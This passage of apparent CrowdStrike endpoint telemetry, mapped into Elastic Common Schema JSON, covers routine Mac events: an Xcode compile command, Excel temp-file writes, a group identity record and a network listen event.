d534ede333af1ab38733a03ec7346522f2bd23ad19353fd9cfbd2bb44e3392336039250bbe34bb34f73618f0ecbb7701543c50e560356884d0330f9fab31d582ecbc19f5e03510b6ab34e35d66b85ac660bcc582563510d9083490265c3399a707bc84a0e43474d02abba593a3342f209630b98ae7bd11fb4033605e7dbc9e59f33d5f11733dc922533db943183ca5a46a3d5b42463e83bcd33cdd2f1b3f47fcb93bae3a3b3d1ceaf23e6978d53c4836653f03a29c3c9afe1e3e096bba3bde76423cfd4bf13ee1e4f73f1418933e2ee6323df1a9fc3cfe1da83df0d8453d9e7ea63b69f6a93c4083123d8a7c5b3c0266773d2e147b3ce978d53d08ce703facf41f3f510cb32e0d9dfa3df2b0213b2bd5dc3cf77af63d94ee393d782d383de978d53eb404ea3e288ce73c2209ab3f7c91d13eb0d8454010e2193cfc65413c2e53653b0ede553db674d13e6ae7d53d361bb03d1c23b83c579d0a3bd3176a3c4447c33dea161e3d8a67623bd477bc3c2f4f0e3d1e6eeb3dd07c853cd4e8fb3cded2893f42de013f6d4fdf3f276c8b3ee1e4f73f036e2f3fe58adb3e361134404d8c7e3df837b53ef18fc53faa57a83e781d7e402d53263eb8e2193f62339c3e1b089a3f204189400eb9f53fe010623f9395813f6a233a3e81ff2e3f41a9fc3f3013a93e2666663e17dbf53f1b851f3ec666663e9333333ed446743f0e560440889ba64065d2f2ad9a1b883f573eab3dd7a7873edde69b3f3f3b643eed42c43f6a30554087f62b3f92d42c3e83958140435f703f90a71e40d717593e832ca53e19ce073cd0917d3f6374bc3f8a9d1f3f26e9793f088ce73e7333333df34d6a3e8710cb3f34f7663ea20c4a3e1a02753e23bcd33e843fe63f3a36e33f0573eb3ec84b5e3c6685db3cef0ae53d17acc53c0b32cf3d05681f3e0831273c2ff6d33f0a29c73b6a9e6f3b88c60d3deecbfb3baa53fc3e2d91683b6c636b3d66d9bebb8533b13c0a0d353ea91d153ee275253dcc9d9dbc159e623c1d27c43d3ad18d3d145b6c3982b47b3b88051d3d4fe9b83a12e7cfbc579d0a3af0a5f0390a9f2b3f69db233f10b780ae9e5a073cfc26573a5a6b1bbc247ed03c9d7343ba9bb6aa3d0f66a53f7d49523dd35a863c151c5c3f35b5743ef1d14e40047f243c4d9e843b24095fbb87b99d3cdd82fd3e1c28f63beeae9f3b14812c3c91a75d3c40ad043b613f4b3d033c603d195033ba9d8c6d3b307d0b3c3d12453cd234ec3b25375dba904f6e35181195bcba493d35a2674934a531f7352bda363522229033be54dc337b157336151dabbbb5f5f1340207b7345d30d93421b49d34c2b91cbba8e2e3bc4df26733a7cdeb369116e13592f7ea34116278be173eabbc11e647bbb3d4ae328448f533b7f4153046530d359e3e2233d006d8bcf2cf96bbad9ad8bc466905351da01436249e38af17834033a03ec7346522f2bd1ddc1e35d36497bd2bb44e33bf0a47390220d734c2822235531fdebb73ba773c1888f8356884d0330f9fab31d533c2bc195ee135adf23935ab6563b85b06ccbcc84b5e3510d9083490265c33e590e6bc81450f33ce498bbba593a334d1f8602f713b9cbd1930be33605e7dbca3ec033d5d249e3dc85b183dbc115e3ca858793d5c33723e83afb83cdcc63f3f4916873bab47413d1cb6853e6b9f563c49320e3f03eab33c9afe1e3e0aa64c3bdfd6953cfac1d33ee3e4263f14af4f3e2f69443df3b6463cfeda663df2b0213d9faebc3b50678c3c4250723d8c00543c0151a43d2d0e563ce4f7663d0701113fad2bd43f5075f72e0e19d33df5f6fd3b2eb80f3cf487fd3d92e72e3d7842313de944673eb50b0f3e295e9e3c1fd36f3f7d6a163eb15b57401159b43d000a7c3c2d2dcb3b0ecd8e3db4e11e3e6c3c9f3d3adc0a3d1bb0603c52dcb13bd338f83c4100e73de9e1b13d8b53503bd6ece13c2cd9e83d201cd63dd1b7173cda12303cdc725c3f48793e3f6ded293f276c8b3f036e2f3f036e2f3fea0f913e361134404d8c7e3e0189373ef837b53fabc3613e7f62b7403012063eb79a6b3f5e63203e0d4fdf3f204189400de9e23fe010623f90be0e3f6a233a3e81ff2e3f3951833f30902e3e4275253e18793e3f1b851f3ee0f9093e9333333ed446743f045a1d40889ba64065d2f2ad9d19253f573eab3dc692f73ece21963f3f3b643eee2eb23f579a6b407e76c93f92d42c3e83958140435f703f90a71e40d717593e832ca53e25aee63cb7e9103f64c2f83f8a9d1f3f27fcb93f06a7f03e676c8b3de147ae3e884b5e3f27bb303e90cb293e3295ea3e21e4f73e81205c3f3fec573f0573eb3ebec56d3c633eff3cf1800a3d1389b53c0ac1903d0587943e06dc5d3c2efb2b3f095e9e3b67ddca3b80303c3dec8b443ba782903e30068e3b6bcc6c3d619b91bb836eb53c0bf7f03ea60aa63ee00d1b3dcc447cbc28c1553c1d55e73d36e2eb3d132b56399063903b8776813d4d7f0f3a15a1bdbc55cfab3b06f04a39c25a833f68f5c33f107c85ae9e10d83cf9335d3a594a8abc2276b83c9f16b1ba66e57d3d0e0c9e3f7dbf483dd1b7173c1435ad3f34bc6a3ef096bc4003689d3c49afe23b22fcf0bb87a8d63cde939f3e1aee633bedbb5a3b14f69d3c91e6473c402f303b64217d3d06cca33d183516ba9fe8683b33d4ae3c38f9b13cced9173b288f00ba5a42d7356eda97bcb9628d356e0c6f341b95cf341f3c6534ad5b0a32a151a8337b157335b2c72cbbb2852334900adf34553ec1346e5ee5347ab7febba8e2e3bc4df26733a7cdeb35cf19143592f7ea34c9a612be173eabbc11e647bbb3d4ae35219fff33b7f4153046530d348b7aa434677fadbcf290acbbaf2d80bc46690535a6b2cc3206f2a8af17834033a03ec7338e0e59bd1e83e435857ac3bd2bb44e33043df73927249d34bb34f735906b14bb780dc33c50e560361e0a98336f92c2320a0eb4bc19b2c435adf23935ab6563b85a4586bcc56d5d3510d9083490265c3399a707bc811b1e34cde3d7bba593a334aec0612fb676c6bd13be2333605e7dbca3ec033d59be4d3dc9667b3db83cf33ca7ef9e3d5c09813e8361133cdba0a53f485f073ba023213d191bc53e69fbe73c4059213f04dd2f3c9835163e0865953be38a7e3d0385c63ee1b08a3f142c3d3e2f9db23df0068e3cff6d333df06f693d9e7ea63b68fb013c4250723d8a4d2b3c0b007a3d2e924f3cea209b3d094c443faccccd3f50ded32e0d9dfa3df41f213b2dab9f3cf95d4f3d94a4d33d7991bc3de809d53eb532613e28db8c3c1afe1e3f7cd9e83eb0ff974010f0d83cfc3b4f3c2e53653b0ede553db6c3763e6bb98c3d35f1bf3d1a95423c53d85a3bcedd483c46bce83ded5cfb3d8ac0833bd0edc43c319a413d1e30013dd07c853cdcf0303ce243573f4ded293f69c77a3f13d70a3f036e2f3f036e2f3feaa3053e361134404d8c7e3df5c28f3ef02de03faa57a83e70d845402f5dcc3eb8e2193f62339c3df0068e3f204189400de9e23fe010623f90be0e3f6a233a3e7333333f4a85883f3318fc3e4000003e063f143f1b851f3ecb5dcc3e9333333ed446743f0e560440889ba64065d2f2ad8f49d23f573eab3dbeff193ed7f62b3f3f3b643eedab9f3f57d567409780343f9292a33e8395814041158c3f90a71e40d717593e832ca53e1a511a3c74c6e73f64c2f83f832cf93f26e9793f03a92a3e6872b03df34d6a3e884b5e3f3381d83ea20c4a3e1a02753e2353f83e825aee3f4d013b3f041f213ec240b83c6a4a8c3cf3a14d3d15b5743c091e213d059c8d3e08ce703c2f78ff3f0837b53b6a7ce13b815e393ded91683ba9cdc43e2d42c43b73dc053d6147aebb8438093c0a61173ea72b023edf559b3dcaff6dbc1bd4063c21fd153d39ffd63d128e0d398d4bad3b894c443d4f18013a195aafbc5773193af57f7339ce41413f6851ec3f0fec57ae9dfa533cfa58f73a5a0d27bc21943a3ca1dfb9ba5471063d0e56043f7dd2f23dd1b7173c14b3813f33dd983ef013a9400347d83c4ca2db3b245d42bb8733663ce243573e1b22d13bf47b673b0f32383c928e0d3c4059213b6304473d05143c3d176ddbba9aed573b3220793c3c6a7f3ccc4ef93b267621ba298e0334f8d6f4bcba493d35461af9342ca85e34c11ccb352222903385f5c5368e9b3935b2c72cbbb75ea6344cfa3134553ec134b523e734c2b91cbba8e2e3bc4df26734d636243705eeb9351ad56535332082be173eabbc11ea79bbb3d4ae35a82cc133a943c13046530d34fd74ee34677fadbcf27bb3bbad8a11bc4669053496f7d53580f4d6af1848493405e546338e0e59bd23ad193400bddcbd2bb44e33bf0a473927249d34c2822235531fdebb73ba773c626d4836cf4407330f9fab31d582ecbc1a027535b8af0035d13ed5b85ad11cbcc582563573cb0735d499d3319cda2abc8548aa3474d02abba593a3351ccb0c2f713b9cbd14a4d333605e7dbca3ec033d6108c43dc9e4503dba34443ca454de3d5a511a3e84816f3cdc09813f4773193bac3a863d1945b73e6b1c433c48de2b3f03e4263c9a415f3e08b4393bd8ba413d0073583ee1cac13f13a92a3e2e48e93df318fc3d0216c63df212d73d9d7dbf3b627e0f3c44ef893d8ba1f53c03e8573d2c9afe3ce5f30e3d0846203fac710d3f50c49c2e0d4f2a3df487fd3b306c443cf837b53d96ffc13d795d4f3de8db8c3eb4bc6a3e28a71e3c1fba453f7c56d63eb07c854010c63f3cfeb0753c3170503b0e68e43db977853e6bb98c3d3c7f783d19a4163c55f99c3bd1e96c3c4669053debb98c3d8a6ca03bde43ee3c2efb2b3d2007dd3dce075f3cdbb59e3ce75793b01aa501\",\"event_simpleName\":\"DeliverLocalFXToCloud\",\"ConfigStateHash\":\"1620585913\",\"aip\":\"67.43.156.14\",\"ModelPrediction\":\"1436899696705536\",\"SHA256HashData\":\"c89caf538788e6524bf4ae93194051f3389eecbc71e4793f12a2dc0368211cc2\",\"Malicious\":\"0\",\"ConfigBuild\":\"1007.4.0013701.1\",\"FeatureExtractionVersion\":\"2\",\"event_platform\":\"Mac\",\"FXFileSize\":\"502032\",\"Entitlements\":\"15\",\"name\":\"DeliverLocalFXToCloudMacV4\",\"PupAdwareDecisionValue\":\"12384657383358464\",\"id\":\"ffffffff-1111-11eb-b44e-069a02b0ad6b\",\"PupAdwareConfidence\":\"0\",\"EffectiveTransmissionClass\":\"1\",\"aid\":\"ffffffff45d647e6ae0ba8764a4bd570\",\"MLModelVersion\":\"4\",\"timestamp\":\"1625677489052\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}" - }, - "host": { - "id": "ffffffff45d647e6ae0ba8764a4bd570", - "os": { - "type": "macos" - } - }, - "message": "DeliverLocalFXToCloud", - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffff45d647e6ae0ba8764a4bd570", - "version": "1007.4.0013701.1" - }, - "related": { - "hash": [ - "c89caf538788e6524bf4ae93194051f3389eecbc71e4793f12a2dc0368211cc2", - "1620585913" - ], - "ip": [ - "67.43.156.14" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2021-07-07T17:05:25.128Z", - "crowdstrike": { - "ConfigStateHash": "3090255842", - "ContextProcessId": "365035560818271291", - "ContextTimeStamp": "2021-07-07T17:05:24.929Z", - "EffectiveTransmissionClass": "2", - "Entitlements": "15", - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "id": "ffffffff-1111-11eb-8332-020506b18db5", - "name": "CreateProcessArgsMac" - }, - "device": { - "id": "ffffffffb3a3442585c05abc61e290fc" - }, - "event": { - "action": "CreateProcessArgs", - "category": [ - "process" - ], - "created": "2021-07-07T17:05:25.128Z", - "id": "ffffffff-1111-11eb-8332-020506b18db5|ffffffffb3a3442585c05abc61e290fc|ffffffff15754bcfb5f9152ec7ac90ac", - "kind": "state", - "original": "{\"event_simpleName\":\"CreateProcessArgs\",\"ContextTimeStamp\":\"1625677524.929\",\"ConfigStateHash\":\"3090255842\",\"ContextProcessId\":\"365035560818271291\",\"ContextThreadId\":\"365035560818271291\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"CommandLine\":\"t.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/CategorySurfaceViewController.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationActionView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationAddressView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationErrorView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationHeaderView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationLoadingView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationPostalCodeView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationViewController.o -index-store-path /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Index/DataStore -index-system-modules\",\"Entitlements\":\"15\",\"name\":\"CreateProcessArgsMac\",\"id\":\"ffffffff-1111-11eb-8332-020506b18db5\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffffb3a3442585c05abc61e290fc\",\"timestamp\":\"1625677525128\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/swift-frontend\"}", - "outcome": "success", - "type": [ - "start" - ] - }, - "file": { - "directory": "/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin", - "name": "swift-frontend", - "path": "/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/swift-frontend", - "type": "file" - }, - "host": { - "id": "ffffffffb3a3442585c05abc61e290fc", - "os": { - "type": "macos" - } - }, - "message": "CreateProcessArgs", - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffffb3a3442585c05abc61e290fc", - "version": "1007.4.0013701.1" - }, - "process": { - "args": [ - "t.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/CategorySurfaceViewController.o", - "-o", - "/Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationActionView.o", - "-o", - "/Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationAddressView.o", - "-o", - "/Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationErrorView.o", - "-o", - "/Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationHeaderView.o", - "-o", - "/Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationLoadingView.o", - "-o", - "/Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationPostalCodeView.o", - "-o", - "/Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationViewController.o", - "-index-store-path", - "/Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Index/DataStore", - "-index-system-modules" - ], - "args_count": 18, - "command_line": "t.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/CategorySurfaceViewController.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationActionView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationAddressView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationErrorView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationHeaderView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationLoadingView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationPostalCodeView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationViewController.o -index-store-path /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Index/DataStore -index-system-modules", - "entity_id": "365035560818271291", - "thread": { - "id": 365035560818271291 - } - }, - "related": { - "hash": [ - "3090255842" - ], - "ip": [ - "67.43.156.14" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2021-07-07T17:04:48.576Z", - "crowdstrike": { - "ConfigStateHash": "3090255842", - "ContextProcessId": "364156540965623394", - "ContextTimeStamp": "2021-07-07T17:04:48.523Z", - "EffectiveTransmissionClass": "2", - "Entitlements": "15", - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "id": "ffffffff-1111-11eb-8903-022a1941b91f", - "name": "PdfFileWrittenMacV1" - }, - "device": { - "id": "ffffffffc4044541995bffd84b9df003" - }, - "event": { - "action": "PdfFileWritten", - "category": [ - "file" - ], - "created": "2021-07-07T17:04:48.576Z", - "id": "ffffffff-1111-11eb-8903-022a1941b91f|ffffffffc4044541995bffd84b9df003|ffffffff15754bcfb5f9152ec7ac90ac", - "kind": "event", - "original": "{\"event_simpleName\":\"PdfFileWritten\",\"ContextTimeStamp\":\"1625677488.523\",\"ConfigStateHash\":\"3090255842\",\"ContextProcessId\":\"364156540965623394\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.13\",\"FileIdentifier\":\"05000001000000000000000000000000f1321d0000000000\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"PdfFileWrittenMacV1\",\"id\":\"ffffffff-1111-11eb-8903-022a1941b91f\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffffc4044541995bffd84b9df003\",\"timestamp\":\"1625677488576\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"/private/var/folders/pt/s9pzbbwd07q_0fxqvfhc513r0000gp/T/com.microsoft.Excel/Content.MSO/mso6ACABA95\"}", - "outcome": "success", - "type": [ - "creation" - ] - }, - "file": { - "directory": "/private/var/folders/pt/s9pzbbwd07q_0fxqvfhc513r0000gp/T/com.microsoft.Excel/Content.MSO", - "inode": "05000001000000000000000000000000f1321d0000000000", - "name": "mso6ACABA95", - "path": "/private/var/folders/pt/s9pzbbwd07q_0fxqvfhc513r0000gp/T/com.microsoft.Excel/Content.MSO/mso6ACABA95", - "type": "file" - }, - "host": { - "id": "ffffffffc4044541995bffd84b9df003", - "os": { - "type": "macos" - } - }, - "message": "PdfFileWritten", - "observer": { - "address": [ - "67.43.156.13" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.13" - ], - "serial_number": "ffffffffc4044541995bffd84b9df003", - "version": "1007.4.0013701.1" - }, - "process": { - "entity_id": "364156540965623394", - "thread": { - "id": 0 - } - }, - "related": { - "hash": [ - "3090255842" - ], - "ip": [ - "67.43.156.13" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2021-07-07T17:04:38.379Z", - "crowdstrike": { - "AuthenticationId": "1119489580471877843", - "AuthenticationUuid": "ABCDEFAB-CDEF-ABCD-EFAB-CDEF000000F2", - "AuthenticationUuidAsString": "ABCDEFAB-CDEF-ABCD-EFAB-CDEF000000F2", - "ConfigStateHash": "3967242894", - "EffectiveTransmissionClass": "2", - "Entitlements": "15", - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "id": "ffffffff-1111-11eb-9dc2-029257dbe83b", - "name": "GroupIdentityMacV2" - }, - "device": { - "id": "ffffffff44564c2f8d76394cb25c31ab" - }, - "event": { - "action": "GroupIdentity", - "created": "2021-07-07T17:04:38.379Z", - "id": "ffffffff-1111-11eb-9dc2-029257dbe83b|ffffffff44564c2f8d76394cb25c31ab|ffffffff15754bcfb5f9152ec7ac90ac", - "original": "{\"event_simpleName\":\"GroupIdentity\",\"GID\":\"242\",\"AuthenticationUuidAsString\":\"ABCDEFAB-CDEF-ABCD-EFAB-CDEF000000F2\",\"ConfigStateHash\":\"3967242894\",\"aip\":\"67.43.156.13\",\"AuthenticationId\":\"1119489580471877843\",\"UserPrincipal\":\"user2@dom1\",\"UserSid\":\"S-1-5-21-3852557355-3178143607-2040168074-1485\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"GroupIdentityMacV2\",\"id\":\"ffffffff-1111-11eb-9dc2-029257dbe83b\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff44564c2f8d76394cb25c31ab\",\"AuthenticationUuid\":\"ABCDEFAB-CDEF-ABCD-EFAB-CDEF000000F2\",\"timestamp\":\"1625677478379\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}" - }, - "host": { - "id": "ffffffff44564c2f8d76394cb25c31ab", - "os": { - "type": "macos" - } - }, - "message": "GroupIdentity", - "observer": { - "address": [ - "67.43.156.13" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.13" - ], - "serial_number": "ffffffff44564c2f8d76394cb25c31ab", - "version": "1007.4.0013701.1" - }, - "related": { - "hash": [ - "3967242894" - ], - "ip": [ - "67.43.156.13" - ], - "user": [ - "user2", - "user2@dom1", - "S-1-5-21-3852557355-3178143607-2040168074-1485" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "domain": "dom1", - "email": "user2@dom1", - "full_name": "user2", - "group": { - "id": "242" - }, - "id": "S-1-5-21-3852557355-3178143607-2040168074-1485" - } - }, - { - "@timestamp": "2021-07-07T17:04:39.336Z", - "crowdstrike": { - "ConfigStateHash": "3967242894", - "ContextProcessId": "364938429384226082", - "ContextTimeStamp": "2021-07-07T01:50:11.845Z", - "EffectiveTransmissionClass": "2", - "Entitlements": "15", - "MachOSubType": "3", - "SHA256HashData": "c0f50d27fe9fb31e33d1ce6577eeb4d4e17639095ad20575da018d1fcf955198", - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "id": "ffffffff-1111-11eb-9dc2-029257dbe83b", - "name": "MachOFileWrittenMacV3" - }, - "device": { - "id": "ffffffff44564c2f8d76394cb25c31ab" - }, - "event": { - "action": "MachOFileWritten", - "category": [ - "file" - ], - "created": "2021-07-07T17:04:39.336Z", - "id": "ffffffff-1111-11eb-9dc2-029257dbe83b|ffffffff44564c2f8d76394cb25c31ab|ffffffff15754bcfb5f9152ec7ac90ac", - "kind": "event", - "original": "{\"event_simpleName\":\"MachOFileWritten\",\"ContextTimeStamp\":\"1625622611.845\",\"ConfigStateHash\":\"3967242894\",\"MachOSubType\":\"3\",\"ContextProcessId\":\"364938429384226082\",\"Size\":\"0\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.13\",\"SHA256HashData\":\"c0f50d27fe9fb31e33d1ce6577eeb4d4e17639095ad20575da018d1fcf955198\",\"FileIdentifier\":\"04000001000000000000000000000000ac41270400000000\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"MachOFileWrittenMacV3\",\"id\":\"ffffffff-1111-11eb-9dc2-029257dbe83b\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff44564c2f8d76394cb25c31ab\",\"timestamp\":\"1625677479336\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"/private/var/folders/bf/dwpvdj3d1tq00l8fgs5rd7x00000gn/T/.net.example.desktop.ev80yl\"}", - "outcome": "success", - "type": [ - "change" - ] - }, - "file": { - "directory": "/private/var/folders/bf/dwpvdj3d1tq00l8fgs5rd7x00000gn/T", - "extension": "ev80yl", - "hash": { - "sha256": "c0f50d27fe9fb31e33d1ce6577eeb4d4e17639095ad20575da018d1fcf955198" - }, - "inode": "04000001000000000000000000000000ac41270400000000", - "name": ".net.example.desktop.ev80yl", - "path": "/private/var/folders/bf/dwpvdj3d1tq00l8fgs5rd7x00000gn/T/.net.example.desktop.ev80yl", - "size": 0, - "type": "file" - }, - "host": { - "id": "ffffffff44564c2f8d76394cb25c31ab", - "os": { - "type": "macos" - } - }, - "message": "MachOFileWritten", - "observer": { - "address": [ - "67.43.156.13" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.13" - ], - "serial_number": "ffffffff44564c2f8d76394cb25c31ab", - "version": "1007.4.0013701.1" - }, - "process": { - "entity_id": "364938429384226082", - "thread": { - "id": 0 - } - }, - "related": { - "hash": [ - "c0f50d27fe9fb31e33d1ce6577eeb4d4e17639095ad20575da018d1fcf955198", - "3967242894" - ], - "ip": [ - "67.43.156.13" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2021-07-07T17:04:38.929Z", - "crowdstrike": { - "ConfigStateHash": "3967242894", - "ConnectionFlags": "0", - "ContextProcessId": "364938390018585510", - "ContextTimeStamp": "2021-07-07T01:50:08.014Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "15", - "InContext": "0", - "LocalAddressIP6": [ - "0:0:0:0:0:0:0:0" - ], - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "id": "ffffffff-1111-11eb-9dc2-029257dbe83b", - "name": "NetworkListenIP6MacV10" - }, - "destination": { - "address": "0:0:0:0:0:0:0:0", - "ip": "0:0:0:0:0:0:0:0", - "port": 0 - }, - "device": { - "id": "ffffffff44564c2f8d76394cb25c31ab" - }, - "event": { - "action": "NetworkListenIP6", - "category": [ - "network" - ], - "created": "2021-07-07T17:04:38.929Z", - "id": "ffffffff-1111-11eb-9dc2-029257dbe83b|ffffffff44564c2f8d76394cb25c31ab|ffffffff15754bcfb5f9152ec7ac90ac", - "kind": "event", - "original": 